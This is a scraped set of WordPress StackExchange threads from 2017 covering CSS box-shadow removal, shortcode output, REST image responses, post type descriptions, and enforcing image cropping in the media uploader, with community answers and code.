problem), so the following worked for me</p>\n\n<pre><code>#site-navigation {\n box-shadow: none;\n background-color: #fdd4ce;\n}\n</code></pre>\n\n<p>A vendor prefix <a href=\"http://shouldiprefix.com/#box-shadow\" rel=\"nofollow noreferrer\">should not be necessary</a>.</p>\n" } ]
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281666", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128242/" ]
<https://peaceloveandbirth.com/> Underneath the 'Birth preparation for Mind, Body & Soul' line at the top I want to remove the grey divider line (you can especially see it when the navbar is collapsed to say phone display). I already have this is my CSS which works for below the header area, but not for this: ``` .site-header{ -webkit-box-shadow: none; -moz-box-shadow: none; -o-box-shadow: none; box-shadow: none; } ```
You are looking at the wrong element, it is `#site-navigation` that has the box shadow (and a white background, which also is a problem), so the following worked for me ``` #site-navigation { box-shadow: none; background-color: #fdd4ce; } ``` A vendor prefix [should not be necessary](http://shouldiprefix.com/#box-shadow).
281,699
<p>I am trying to make a plugin that allows users to add a shortcode to their website. The problem that I am facing is that once the shortcode is placed in a page the shortcode is being run on both the page editor and on the front end, where I want it to only run on the front end. </p> <p><a href="https://i.stack.imgur.com/69YYm.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/69YYm.jpg" alt="Short Code Running In Editor"></a></p> <p>I followed <a href="https://www.sitepoint.com/wordpress-shortcodes-tutorial/" rel="nofollow noreferrer">this guide</a> on how to make a shortcode. I searched around a bit on the web and saw where someone suggested adding the function <code>ob_start();</code> but it did not seem to help. I have looked at other guides and no one seems to cover this issue. What am I doing wrong?</p> <p><strong>Code:</strong></p> <pre><code>add_shortcode('sss-redeem', 'Redeem'); function Redeem(){ ob_start(); $IsAdmin = is_super_admin(get_current_user_id()); ?&gt; &lt;form&gt; &lt;center&gt; &lt;?php if($IsAdmin){ ?&gt; &lt;input type="checkbox" name="overwrite" value="true"&gt;Overwrite?&lt;br&gt; &lt;?php } ?&gt; &lt;strong&gt;&lt;h2&gt;Order ID&lt;/h2&gt;&lt;/strong&gt; &lt;input type="text" maxlength="4" name="oid"/&gt;&lt;br&gt; &lt;input type="text" name="pgs" value="a5b6n66f34ka1n1d" style="display: none;" /&gt; &lt;button type="submit"&gt;Submit&lt;/button&gt; &lt;/form&gt; &lt;/center&gt; &lt;?php } </code></pre> <p><strong>NOTE:</strong> I am new to developing WordPress plugins. In fact, this plugin here is my first attempt at making a plugin. </p>
[ { "answer_id": 281702, "author": "Marcello B.", "author_id": 100883, "author_profile": "https://wordpress.stackexchange.com/users/100883", "pm_score": 2, "selected": false, "text": "<p>Thanks to @mmm I figured it out. What I am doing now is adding the form in between php tags. </p>\n\n<p><strong>EXAMPLE of what I was doing</strong></p>\n\n<pre><code>?&gt;\n &lt;input type=\"checkbox\" name=\"overwrite\" value=\"true\"&gt;Overwrite?&lt;br&gt; \n&lt;?php\n</code></pre>\n\n<p>What I need to be doing is adding the content that I want to add to the page into a string that is then returned when the function is completed. So what I would want my code to look like is</p>\n\n<p><strong>EXAMPLE of what I should have been doing</strong></p>\n\n<pre><code>&lt;?php\n$out = '&lt;input type=\"checkbox\" name=\"overwrite\" value=\"true\"&gt;Overwrite?&lt;br&gt;';\nreturn $out;\n?&gt;\n</code></pre>\n" }, { "answer_id": 281705, "author": "IBRAHIM EZZAT", "author_id": 120259, "author_profile": "https://wordpress.stackexchange.com/users/120259", "pm_score": 0, "selected": false, "text": "<p>you should return value not echoing it ,you can use something like this :</p>\n\n<pre><code>add_shortcode('sss-redeem', 'Redeem');\n\nfunction Redeem(){\n $IsAdmin = is_super_admin(get_current_user_id()); \n $RedeemValue.='&lt;form&gt;';\n $RedeemValue.='&lt;center&gt;';\n if($IsAdmin){\n $RedeemValue.='&lt;input type=\"checkbox\" name=\"overwrite\" value=\"true\"&gt;Overwrite?&lt;br&gt;'\n };\n $RedeemValue.='&lt;strong&gt;&lt;h2&gt;Order ID&lt;/h2&gt;&lt;/strong&gt; &lt;input type=\"text\" maxlength=\"4\" name=\"oid\"/&gt;&lt;br&gt;';\n $RedeemValue.='&lt;input type=\"text\" name=\"pgs\" value=\"a5b6n66f34ka1n1d\" style=\"display: none;\" /&gt;';\n $RedeemValue.='&lt;button type=\"submit\"&gt;Submit&lt;/button&gt;';\n $RedeemValue.='&lt;/form&gt;';\n $RedeemValue.='&lt;/center&gt;';\n return $RedeemValue;\n}\n</code></pre>\n" } ]
2017/10/02
[ "https://wordpress.stackexchange.com/questions/281699", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/100883/" ]
I am trying to make a plugin that allows users to add a shortcode to their website. The problem that I am facing is that once the shortcode is placed in a page the shortcode is being run on both the page editor and on the front end, where I want it to only run on the front end. [![Short Code Running In Editor](https://i.stack.imgur.com/69YYm.jpg)](https://i.stack.imgur.com/69YYm.jpg) I followed [this guide](https://www.sitepoint.com/wordpress-shortcodes-tutorial/) on how to make a shortcode. I searched around a bit on the web and saw where someone suggested adding the function `ob_start();` but it did not seem to help. I have looked at other guides and no one seems to cover this issue. What am I doing wrong? **Code:** ``` add_shortcode('sss-redeem', 'Redeem'); function Redeem(){ ob_start(); $IsAdmin = is_super_admin(get_current_user_id()); ?> <form> <center> <?php if($IsAdmin){ ?> <input type="checkbox" name="overwrite" value="true">Overwrite?<br> <?php } ?> <strong><h2>Order ID</h2></strong> <input type="text" maxlength="4" name="oid"/><br> <input type="text" name="pgs" value="a5b6n66f34ka1n1d" style="display: none;" /> <button type="submit">Submit</button> </form> </center> <?php } ``` **NOTE:** I am new to developing WordPress plugins. In fact, this plugin here is my first attempt at making a plugin.
Thanks to @mmm I figured it out. What I am doing now is adding the form in between php tags. **EXAMPLE of what I was doing** ``` ?> <input type="checkbox" name="overwrite" value="true">Overwrite?<br> <?php ``` What I need to be doing is adding the content that I want to add to the page into a string that is then returned when the function is completed. So what I would want my code to look like is **EXAMPLE of what I should have been doing** ``` <?php $out = '<input type="checkbox" name="overwrite" value="true">Overwrite?<br>'; return $out; ?> ```
281,727
<p>I'm brand new to Wordpress development; Trying to return an image from a custom endpoint, but it seems to want to serialize everything to JSON.</p> <p>I did manage to get it to work using <code>echo</code>. Is that a hack?</p> <p>I also tried using <code>WP_HTTP_Response</code>, but that didn't seem to work.</p> <p>My code:</p> <pre><code>require 'vendor/autoload.php'; use Intervention\Image\ImageManagerStatic as Image; function prefix_generate_cover_photo($data) { $image = Image::make(plugin_dir_path(__FILE__) . 'image.png')-&gt;response(); $response = new WP_REST_Response($image, 200, array( 'Content-Type' =&gt; 'image/png' )); return $response; } add_action( 'rest_api_init', function () { register_rest_route( 'prefix/v1', '/photo', array( 'methods' =&gt; 'GET', 'callback' =&gt; 'prefix_generate_cover_photo', )); }); </code></pre> <p>This works but I'm not sure if it's good practice:</p> <pre><code>function prefix_generate_cover_photo($data) { echo Image::make(plugin_dir_path(__FILE__) . 'image.png')-&gt;response(); } </code></pre> <p>Any ideas?</p>
[ { "answer_id": 281736, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": 0, "selected": false, "text": "<p><code>echo</code> in the rest-api and not valid! You should using <code>return</code> to make output to Rest API.</p>\n\n<p>For example:</p>\n\n<pre><code>function prefix_generate_cover_photo( WP_REST_Request $request ) {\n // Get method params\n $params = $request-&gt;get_params();\n\n // Data\n $data = array(\n 'url' =&gt; 'The image url',\n 'title' =&gt; 'The image title',\n );\n\n // Create the response object\n $response = new WP_REST_Response( array( 'image' =&gt; $data ) );\n\n // Add a custom header (Optional)\n //$response-&gt;header( 'Cache-Control', 'no-cache' );\n\n return $response;\n}\n</code></pre>\n" }, { "answer_id": 411670, "author": "Tim", "author_id": 113538, "author_profile": "https://wordpress.stackexchange.com/users/113538", "pm_score": 1, "selected": false, "text": "<p>You might want to have a look at this question <a href=\"https://stackoverflow.com/a/70008574/2342137\">https://stackoverflow.com/a/70008574/2342137</a></p>\n<blockquote>\n<p>By default, all REST responses are passed through json_encode() to return a JSON string. However, the REST server provides the WP hook <a href=\"https://developer.wordpress.org/reference/hooks/rest_pre_serve_request/\" rel=\"nofollow noreferrer\">rest_pre_serve_request</a> that we can use to return binary data instead.</p>\n</blockquote>\n" } ]
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281727", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128922/" ]
I'm brand new to Wordpress development; Trying to return an image from a custom endpoint, but it seems to want to serialize everything to JSON. I did manage to get it to work using `echo`. Is that a hack? I also tried using `WP_HTTP_Response`, but that didn't seem to work. My code: ``` require 'vendor/autoload.php'; use Intervention\Image\ImageManagerStatic as Image; function prefix_generate_cover_photo($data) { $image = Image::make(plugin_dir_path(__FILE__) . 'image.png')->response(); $response = new WP_REST_Response($image, 200, array( 'Content-Type' => 'image/png' )); return $response; } add_action( 'rest_api_init', function () { register_rest_route( 'prefix/v1', '/photo', array( 'methods' => 'GET', 'callback' => 'prefix_generate_cover_photo', )); }); ``` This works but I'm not sure if it's good practice: ``` function prefix_generate_cover_photo($data) { echo Image::make(plugin_dir_path(__FILE__) . 'image.png')->response(); } ``` Any ideas?
You might want to have a look at this question <https://stackoverflow.com/a/70008574/2342137> > > By default, all REST responses are passed through json\_encode() to return a JSON string. However, the REST server provides the WP hook [rest\_pre\_serve\_request](https://developer.wordpress.org/reference/hooks/rest_pre_serve_request/) that we can use to return binary data instead. > > >
281,746
<p>i'd like to show the CPT description on the archive.php page but it'd like to do it dynamically for all CPT's. I mean without specifying the current type myself. Something like the_archive_description but for CPT.</p>
[ { "answer_id": 281759, "author": "Kuliraj", "author_id": 128600, "author_profile": "https://wordpress.stackexchange.com/users/128600", "pm_score": 1, "selected": false, "text": "<pre><code>function get_the_post_type_description() {\n $post_type = get_query_var( 'post_type' );\n\n if ( is_array( $post_type ) ) {\n $post_type = reset( $post_type );\n }\n\n $post_type_obj = get_post_type_object( $post_type );\n\n // Check if a description is set.\n if ( isset( $post_type_obj-&gt;description ) ) {\n $description = $post_type_obj-&gt;description;\n } else {\n $description = '';\n }\n return apply_filters( 'get_the_post_type_description', $description, $post_type_obj );\n}\n</code></pre>\n\n<p>Here is a future function of WP v4.9 that retrieves the description for a post type archive and returns (string) The post type description. I think it can do the trick for you.</p>\n" }, { "answer_id": 286210, "author": "Michael Rogers", "author_id": 77283, "author_profile": "https://wordpress.stackexchange.com/users/77283", "pm_score": 3, "selected": true, "text": "<p>Since 4.9.</p>\n\n<pre><code>if ( get_the_post_type_description()) {\n\necho get_the_post_type_description();\n\n}\n</code></pre>\n\n<p>redeclaring the function will crash WordPress.</p>\n" } ]
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281746", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/77283/" ]
i'd like to show the CPT description on the archive.php page but it'd like to do it dynamically for all CPT's. I mean without specifying the current type myself. Something like the\_archive\_description but for CPT.
Since 4.9. ``` if ( get_the_post_type_description()) { echo get_the_post_type_description(); } ``` redeclaring the function will crash WordPress.
281,760
<p>I've followed <a href="https://dobsondev.com/2015/01/23/using-the-wordpress-media-uploader/" rel="nofollow noreferrer">this article</a> to use Media Uploader in my code. When I click the Browse button on my form, the media uploader opens and after selecting the image, I get the URL of that image added in my form field. No issues so far.</p> <p>But I want to enforce the image to be of a specific size. If the size is different, user must crop it to match the required size (or aspect ratio) <strong>before</strong> he can select the image (and my <code>mediaUploader.on('select', function() {</code> is executed).</p> <p>Please note that I don't want to use <code>add_image_size</code> because that will create a thumbnail of the given size for each and every image uploaded (AFAIK... correct me if I'm wrong). Instead, only in a specific scenario I want the user to crop the image manually while uploading.</p> <p>Basically my requirement is well described in a question on SO: <a href="https://stackoverflow.com/questions/36230319/wordpress-media-library-crop-image-on-insert-like-header-image-cropper">wordpress-media-library-crop-image-on-insert-like-header-image-cropper</a></p> <p>But there is no solution posted there. So I'm putting it here for the WP experts to guide me.</p> <p>I've tried searching for 'wordpress media uploader (enforce image size | image cropper | select image of specific size)' and what not. But somehow not getting any link that describes the steps to enforce a given image size. Nor could I found any documentation for <code>wp.media</code> that describes all the options that can be passed.</p> <p>I've seen following questions already but that doesn't seem to do what I'm looking for:</p> <ul> <li><a href="https://wordpress.stackexchange.com/questions/211909/is-is-possible-to-crop-an-image-after-uploading">Is is possible to crop an image after uploading</a></li> <li><a href="https://wordpress.stackexchange.com/questions/88945/way-to-force-media-uploader-use-custom-image-size">Way to force media uploader use custom image size</a></li> <li><a href="https://wordpress.stackexchange.com/questions/88757/image-size-filtering-in-media-uploader-according-to-custom-post-type">Image size filtering in Media uploader according to custom post type</a></li> </ul> <p><strong>Edit</strong></p> <p>I could find the use of <code>WP_Customize_Cropped_Image_Control</code> @ <a href="https://www.sitepoint.com/using-the-wordpress-customizer-media-controls/" rel="nofollow noreferrer">https://www.sitepoint.com/using-the-wordpress-customizer-media-controls/</a> But its in the context of Customizer. Is there any similar control that can be used in standard plugin?</p> <p>And there is this <code>wp.media.controller.Cropper</code> defined inside <em>wp-includes/js/media-views.js</em> but how do I use it?</p>
[ { "answer_id": 302962, "author": "Darren", "author_id": 143188, "author_profile": "https://wordpress.stackexchange.com/users/143188", "pm_score": 2, "selected": false, "text": "<p>It looks like the select and crop functionality is currently only used in the WordPress Customizer. </p>\n\n<p>However, after looking over the code in the Admin folder of WordPress I was able to get it working on my themes option page.</p>\n\n<p>Here is my setting for a header picture:</p>\n\n<pre><code>function setting_heading_picture() { \n $heading_picture = esc_attr(get_option( 'heading_picture' )); ?&gt;\n &lt;input type=\"hidden\" name=\"heading_picture\" id=\"heading_picture\" value=\"&lt;?php echo $heading_picture; ?&gt;\" /&gt;\n &lt;img id=\"heading_picture_preview\" class=\"heading-picture\" src=\"&lt;?php echo $heading_picture; ?&gt;\" /&gt;\n &lt;button id=\"btn_heading_picture\" name=\"btn_heading_picture\" class=\"button default\"&gt;Choose Picture&lt;/button&gt;\n}\n</code></pre>\n\n<p>Now here is the admin javascript required:</p>\n\n<pre><code>$(function() {\n\nfunction myTheme_calculateImageSelectOptions(attachment, controller) {\n\n var control = controller.get( 'control' );\n\n var flexWidth = !! parseInt( control.params.flex_width, 10 );\n var flexHeight = !! parseInt( control.params.flex_height, 10 );\n\n var realWidth = attachment.get( 'width' );\n var realHeight = attachment.get( 'height' );\n\n var xInit = parseInt(control.params.width, 10);\n var yInit = parseInt(control.params.height, 10);\n\n var ratio = xInit / yInit;\n\n controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );\n\n var xImg = xInit;\n var yImg = yInit;\n\n if ( realWidth / realHeight &gt; ratio ) {\n yInit = realHeight;\n xInit = yInit * ratio;\n } else {\n xInit = realWidth;\n yInit = xInit / ratio;\n } \n\n var x1 = ( realWidth - xInit ) / 2;\n var y1 = ( realHeight - yInit ) / 2; \n\n var imgSelectOptions = {\n handles: true,\n keys: true,\n instance: true,\n persistent: true,\n imageWidth: realWidth,\n imageHeight: realHeight,\n minWidth: xImg &gt; xInit ? xInit : xImg,\n minHeight: yImg &gt; yInit ? yInit : yImg, \n x1: x1,\n y1: y1,\n x2: xInit + x1,\n y2: yInit + y1\n };\n\n return imgSelectOptions;\n} \n\nfunction myTheme_setImageFromURL(url, attachmentId, width, height) {\n var choice, data = {};\n\n data.url = url;\n data.thumbnail_url = url;\n data.timestamp = _.now();\n\n if (attachmentId) {\n data.attachment_id = attachmentId;\n }\n\n if (width) {\n data.width = width;\n }\n\n if (height) {\n data.height = height;\n }\n\n $(\"#heading_picture\").val( url );\n $(\"#heading_picture_preview\").prop(\"src\", url); \n\n}\n\nfunction myTheme_setImageFromAttachment(attachment) {\n\n $(\"#heading_picture\").val( attachment.url );\n $(\"#heading_picture_preview\").prop(\"src\", attachment.url); \n\n}\n\nvar mediaUploader;\n\n$(\"#btn_heading_picture\").on(\"click\", function(e) {\n\n e.preventDefault(); \n\n /* We need to setup a Crop control that contains a few parameters\n and a method to indicate if the CropController can skip cropping the image.\n In this example I am just creating a control on the fly with the expected properties.\n However, the controls used by WordPress Admin are api.CroppedImageControl and api.SiteIconControl\n */\n\n var cropControl = {\n id: \"control-id\",\n params : {\n flex_width : false, // set to true if the width of the cropped image can be different to the width defined here\n flex_height : true, // set to true if the height of the cropped image can be different to the height defined here\n width : 300, // set the desired width of the destination image here\n height : 200, // set the desired height of the destination image here\n }\n };\n\n cropControl.mustBeCropped = function(flexW, flexH, dstW, dstH, imgW, imgH) {\n\n // If the width and height are both flexible\n // then the user does not need to crop the image.\n\n if ( true === flexW &amp;&amp; true === flexH ) {\n return false;\n }\n\n // If the width is flexible and the cropped image height matches the current image height, \n // then the user does not need to crop the image.\n if ( true === flexW &amp;&amp; dstH === imgH ) {\n return false;\n }\n\n // If the height is flexible and the cropped image width matches the current image width, \n // then the user does not need to crop the image. \n if ( true === flexH &amp;&amp; dstW === imgW ) {\n return false;\n }\n\n // If the cropped image width matches the current image width, \n // and the cropped image height matches the current image height\n // then the user does not need to crop the image. \n if ( dstW === imgW &amp;&amp; dstH === imgH ) {\n return false;\n }\n\n // If the destination width is equal to or greater than the cropped image width\n // then the user does not need to crop the image...\n if ( imgW &lt;= dstW ) {\n return false;\n }\n\n return true; \n\n }; \n\n /* NOTE: Need to set this up every time instead of reusing if already there\n as the toolbar button does not get reset when doing the following:\n\n mediaUploader.setState('library');\n mediaUploader.open();\n\n */ \n\n mediaUploader = wp.media({\n button: {\n text: 'Select and Crop', // l10n.selectAndCrop,\n close: false\n },\n states: [\n new wp.media.controller.Library({\n title: 'Select and Crop', // l10n.chooseImage,\n library: wp.media.query({ type: 'image' }),\n multiple: false,\n date: false,\n priority: 20,\n suggestedWidth: 300,\n suggestedHeight: 200\n }),\n new wp.media.controller.CustomizeImageCropper({ \n imgSelectOptions: myTheme_calculateImageSelectOptions,\n control: cropControl\n })\n ]\n });\n\n mediaUploader.on('cropped', function(croppedImage) {\n\n var url = croppedImage.url,\n attachmentId = croppedImage.attachment_id,\n w = croppedImage.width,\n h = croppedImage.height;\n\n myTheme_setImageFromURL(url, attachmentId, w, h); \n\n });\n\n mediaUploader.on('skippedcrop', function(selection) {\n\n var url = selection.get('url'),\n w = selection.get('width'),\n h = selection.get('height');\n\n myTheme_setImageFromURL(url, selection.id, w, h); \n\n }); \n\n mediaUploader.on(\"select\", function() {\n\n var attachment = mediaUploader.state().get( 'selection' ).first().toJSON();\n\n if ( cropControl.params.width === attachment.width \n &amp;&amp; cropControl.params.height === attachment.height \n &amp;&amp; ! cropControl.params.flex_width \n &amp;&amp; ! cropControl.params.flex_height ) {\n myTheme_setImageFromAttachment( attachment );\n mediaUploader.close();\n } else {\n mediaUploader.setState( 'cropper' );\n }\n\n });\n\n mediaUploader.open();\n\n});\n});\n</code></pre>\n\n<p>Don't forget to adjust the desired width / height that you need in the code above.</p>\n\n<p>Code to save the cropped image as an attachment has been omitted. The cropped images will still be in the usual place in wp-content/uploads but you won't see the cropped images in the Media Library.</p>\n\n<p>I don't know how to enforce an exact size in the Cropper. Hopefully someone else can come along and help answer that.</p>\n" }, { "answer_id": 312298, "author": "Vivek Athalye", "author_id": 119672, "author_profile": "https://wordpress.stackexchange.com/users/119672", "pm_score": 4, "selected": true, "text": "<p>First use the code given by @Darren on any page. For simplicity I've combined PHP and JS code in single block:</p>\n\n<pre><code> &lt;?php $heading_picture = esc_attr(get_option( 'heading_picture' )); ?&gt;\n &lt;input type=\"hidden\" name=\"heading_picture\" id=\"heading_picture\" value=\"&lt;?php echo $heading_picture; ?&gt;\" /&gt;\n &lt;img id=\"heading_picture_preview\" class=\"heading-picture\" src=\"&lt;?php echo $heading_picture; ?&gt;\" /&gt;\n &lt;button id=\"btn_heading_picture\" name=\"btn_heading_picture\" class=\"button default\"&gt;Choose Picture&lt;/button&gt;\n&lt;script&gt;\njQuery(function($) {\n\nfunction myTheme_calculateImageSelectOptions(attachment, controller) {\n\n var control = controller.get( 'control' );\n\n var flexWidth = !! parseInt( control.params.flex_width, 10 );\n var flexHeight = !! parseInt( control.params.flex_height, 10 );\n\n var realWidth = attachment.get( 'width' );\n var realHeight = attachment.get( 'height' );\n\n var xInit = parseInt(control.params.width, 10);\n var yInit = parseInt(control.params.height, 10);\n\n var ratio = xInit / yInit;\n\n controller.set( 'canSkipCrop', ! control.mustBeCropped( flexWidth, flexHeight, xInit, yInit, realWidth, realHeight ) );\n\n var xImg = xInit;\n var yImg = yInit;\n\n if ( realWidth / realHeight &gt; ratio ) {\n yInit = realHeight;\n xInit = yInit * ratio;\n } else {\n xInit = realWidth;\n yInit = xInit / ratio;\n } \n\n var x1 = ( realWidth - xInit ) / 2;\n var y1 = ( realHeight - yInit ) / 2; \n\n var imgSelectOptions = {\n handles: true,\n keys: true,\n instance: true,\n persistent: true,\n imageWidth: realWidth,\n imageHeight: realHeight,\n minWidth: xImg &gt; xInit ? xInit : xImg,\n minHeight: yImg &gt; yInit ? yInit : yImg, \n x1: x1,\n y1: y1,\n x2: xInit + x1,\n y2: yInit + y1\n };\n\n return imgSelectOptions;\n} \n\nfunction myTheme_setImageFromURL(url, attachmentId, width, height) {\n var choice, data = {};\n\n data.url = url;\n data.thumbnail_url = url;\n data.timestamp = _.now();\n\n if (attachmentId) {\n data.attachment_id = attachmentId;\n }\n\n if (width) {\n data.width = width;\n }\n\n if (height) {\n data.height = height;\n }\n\n $(\"#heading_picture\").val( url );\n $(\"#heading_picture_preview\").prop(\"src\", url); \n\n}\n\nfunction myTheme_setImageFromAttachment(attachment) {\n\n $(\"#heading_picture\").val( attachment.url );\n $(\"#heading_picture_preview\").prop(\"src\", attachment.url); \n\n}\n\nvar mediaUploader;\n\n$(\"#btn_heading_picture\").on(\"click\", function(e) {\n\n e.preventDefault(); \n\n /* We need to setup a Crop control that contains a few parameters\n and a method to indicate if the CropController can skip cropping the image.\n In this example I am just creating a control on the fly with the expected properties.\n However, the controls used by WordPress Admin are api.CroppedImageControl and api.SiteIconControl\n */\n\n var cropControl = {\n id: \"control-id\",\n params : {\n flex_width : false, // set to true if the width of the cropped image can be different to the width defined here\n flex_height : true, // set to true if the height of the cropped image can be different to the height defined here\n width : 300, // set the desired width of the destination image here\n height : 200, // set the desired height of the destination image here\n }\n };\n\n cropControl.mustBeCropped = function(flexW, flexH, dstW, dstH, imgW, imgH) {\n\n // If the width and height are both flexible\n // then the user does not need to crop the image.\n\n if ( true === flexW &amp;&amp; true === flexH ) {\n return false;\n }\n\n // If the width is flexible and the cropped image height matches the current image height, \n // then the user does not need to crop the image.\n if ( true === flexW &amp;&amp; dstH === imgH ) {\n return false;\n }\n\n // If the height is flexible and the cropped image width matches the current image width, \n // then the user does not need to crop the image. \n if ( true === flexH &amp;&amp; dstW === imgW ) {\n return false;\n }\n\n // If the cropped image width matches the current image width, \n // and the cropped image height matches the current image height\n // then the user does not need to crop the image. \n if ( dstW === imgW &amp;&amp; dstH === imgH ) {\n return false;\n }\n\n // If the destination width is equal to or greater than the cropped image width\n // then the user does not need to crop the image...\n if ( imgW &lt;= dstW ) {\n return false;\n }\n\n return true; \n\n }; \n\n /* NOTE: Need to set this up every time instead of reusing if already there\n as the toolbar button does not get reset when doing the following:\n\n mediaUploader.setState('library');\n mediaUploader.open();\n\n */ \n\n mediaUploader = wp.media({\n button: {\n text: 'Select and Crop', // l10n.selectAndCrop,\n close: false\n },\n states: [\n new wp.media.controller.Library({\n title: 'Select and Crop', // l10n.chooseImage,\n library: wp.media.query({ type: 'image' }),\n multiple: false,\n date: false,\n priority: 20,\n suggestedWidth: 300,\n suggestedHeight: 200\n }),\n new wp.media.controller.CustomizeImageCropper({ \n imgSelectOptions: myTheme_calculateImageSelectOptions,\n control: cropControl\n })\n ]\n });\n\n mediaUploader.on('cropped', function(croppedImage) {\n\n var url = croppedImage.url,\n attachmentId = croppedImage.attachment_id,\n w = croppedImage.width,\n h = croppedImage.height;\n\n myTheme_setImageFromURL(url, attachmentId, w, h); \n\n });\n\n mediaUploader.on('skippedcrop', function(selection) {\n\n var url = selection.get('url'),\n w = selection.get('width'),\n h = selection.get('height');\n\n myTheme_setImageFromURL(url, selection.id, w, h); \n\n }); \n\n mediaUploader.on(\"select\", function() {\n\n var attachment = mediaUploader.state().get( 'selection' ).first().toJSON();\n\n if ( cropControl.params.width === attachment.width \n &amp;&amp; cropControl.params.height === attachment.height \n &amp;&amp; ! cropControl.params.flex_width \n &amp;&amp; ! cropControl.params.flex_height ) {\n myTheme_setImageFromAttachment( attachment );\n mediaUploader.close();\n } else {\n mediaUploader.setState( 'cropper' );\n }\n\n });\n\n mediaUploader.open();\n\n});\n});\n&lt;/script&gt;\n</code></pre>\n\n<p>Then in some <strong>plugin</strong> use following code:</p>\n\n<pre><code>add_action( 'wp_enqueue_scripts', 'vna_wp_enqueue_scripts' );\nfunction vna_wp_enqueue_scripts() {\n wp_enqueue_media();\n wp_enqueue_script( 'imgareaselect', get_bloginfo('url') . '/wp-includes/js/imgareaselect/jquery.imgareaselect.js', array( 'jquery' ), '1', true );\n wp_enqueue_style( 'imgareaselect', get_bloginfo('url') . '/wp-includes/js/imgareaselect/imgareaselect.css', array(), '0.9.8' );\n}\nadd_action( 'setup_theme','vna_wp_ajax_crop_image', 1 );\nfunction vna_wp_ajax_crop_image() {\n global $wp_customize;\n if(isset($_REQUEST['action']) &amp;&amp; $_REQUEST['action'] == 'crop-image') {\n $post = new WP_Post(new stdClass());\n $post-&gt;ID = $_REQUEST['id'];\n $post-&gt;post_type = 'customize_changeset';\n $post-&gt;filter = 'raw';\n\n wp_cache_set($wp_customize-&gt;changeset_uuid(), $post, 'customize_changeset_post');\n }\n}\n</code></pre>\n\n<p><strong>Notes:</strong></p>\n\n<ol>\n<li>There is lot of dependency on admin JS files. Earlier I was trying to add these files one after other based on the JS errors I was getting during testing. Then I found <code>wp_enqueue_media()</code> which does most of the work. It still doesn't load <code>imgareaselect</code> JS and CSS, so we have to load them explicitly.</li>\n<li>The above code must be in a <strong>plugin</strong>. I was trying the code in a theme and it was not working because the <code>setup_theme</code> action in theme gets called after the expected event (explained below). To avoid it I had to put it in plugin.</li>\n<li>Cropping functionality works only when a user is logged in and has <strong>edit_post</strong> permission on the image. If not, you will get <code>0</code> as the response from <code>admin-ajax.php</code> when the action is <code>crop-image</code>.</li>\n<li><em>The hacky way</em>: Execute the above code on <code>setup_theme</code> action with priority set to <code>1</code>. This is because <code>class WP_Customize_Manager</code> has a <code>setup_theme</code> method that gets executed and checks for the presence of a post id / post which is of type <code>customize_changeset</code>. Also the post filter needs to be <code>raw</code> otherwise it tries to load the post from DB for the given post ID (in this case we are setting the image id as the post ID) which results in post type getting set to <code>attachment</code>. If the check fails (it doesn't find a post for given ID that is of type <code>customize_changeset</code>) then you get <code>-1</code> as the response from <code>admin-ajax.php</code> when the action is <code>crop-image</code>. Instead of creating a valid changeset post in DB, I just created a dummy post object and added it to cache.</li>\n</ol>\n\n<p>The code doesn't look much but as I mentioned earlier in <a href=\"https://wordpress.stackexchange.com/questions/281760/using-media-uploader-to-select-image-of-specific-size-enforce-cropper/302962?noredirect=1#comment461459_302962\">my comment</a> it was really a pain to find out all these conditions. I'm glad I managed it afterall.</p>\n" }, { "answer_id": 381478, "author": "Алексей Дзяба", "author_id": 198555, "author_profile": "https://wordpress.stackexchange.com/users/198555", "pm_score": 0, "selected": false, "text": "<blockquote>\n<p>I don't know how to enforce an exact size in the Cropper. Hopefully someone else can come along and help answer that.</p>\n</blockquote>\n<pre class=\"lang-js prettyprint-override\"><code>imgSelectOptions.aspectRatio = xInit + ':' + yInit;\n</code></pre>\n<p>Add this before: <code>return imgSelectOptions;</code></p>\n" } ]
2017/10/03
[ "https://wordpress.stackexchange.com/questions/281760", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119672/" ]
I've followed [this article](https://dobsondev.com/2015/01/23/using-the-wordpress-media-uploader/) to use Media Uploader in my code. When I click the Browse button on my form, the media uploader opens and after selecting the image, I get the URL of that image added in my form field. No issues so far. But I want to enforce the image to be of a specific size. If the size is different, user must crop it to match the required size (or aspect ratio) **before** he can select the image (and my `mediaUploader.on('select', function() {` is executed). Please note that I don't want to use `add_image_size` because that will create a thumbnail of the given size for each and every image uploaded (AFAIK... correct me if I'm wrong). Instead, only in a specific scenario I want the user to crop the image manually while uploading. Basically my requirement is well described in a question on SO: [wordpress-media-library-crop-image-on-insert-like-header-image-cropper](https://stackoverflow.com/questions/36230319/wordpress-media-library-crop-image-on-insert-like-header-image-cropper) But there is no solution posted there. So I'm putting it here for the WP experts to guide me. I've tried searching for 'wordpress media uploader (enforce image size | image cropper | select image of specific size)' and what not. But somehow not getting any link that describes the steps to enforce a given image size. Nor could I found any documentation for `wp.media` that describes all the options that can be passed. I've seen following questions already but that doesn't seem to do what I'm looking for: * [Is is possible to crop an image after uploading](https://wordpress.stackexchange.com/questions/211909/is-is-possible-to-crop-an-image-after-uploading) * [Way to force media uploader use custom image size](https://wordpress.stackexchange.com/questions/88945/way-to-force-media-uploader-use-custom-image-size) * [Image size filtering in Media uploader according to custom post type](https://wordpress.stackexchange.com/questions/88757/image-size-filtering-in-media-uploader-according-to-custom-post-type) **Edit** I could find the use of `WP_Customize_Cropped_Image_Control` @ <https://www.sitepoint.com/using-the-wordpress-customizer-media-controls/> But its in the context of Customizer. Is there any similar control that can be used in standard plugin? And there is this `wp.media.controller.Cropper` defined inside *wp-includes/js/media-views.js* but how do I use it?
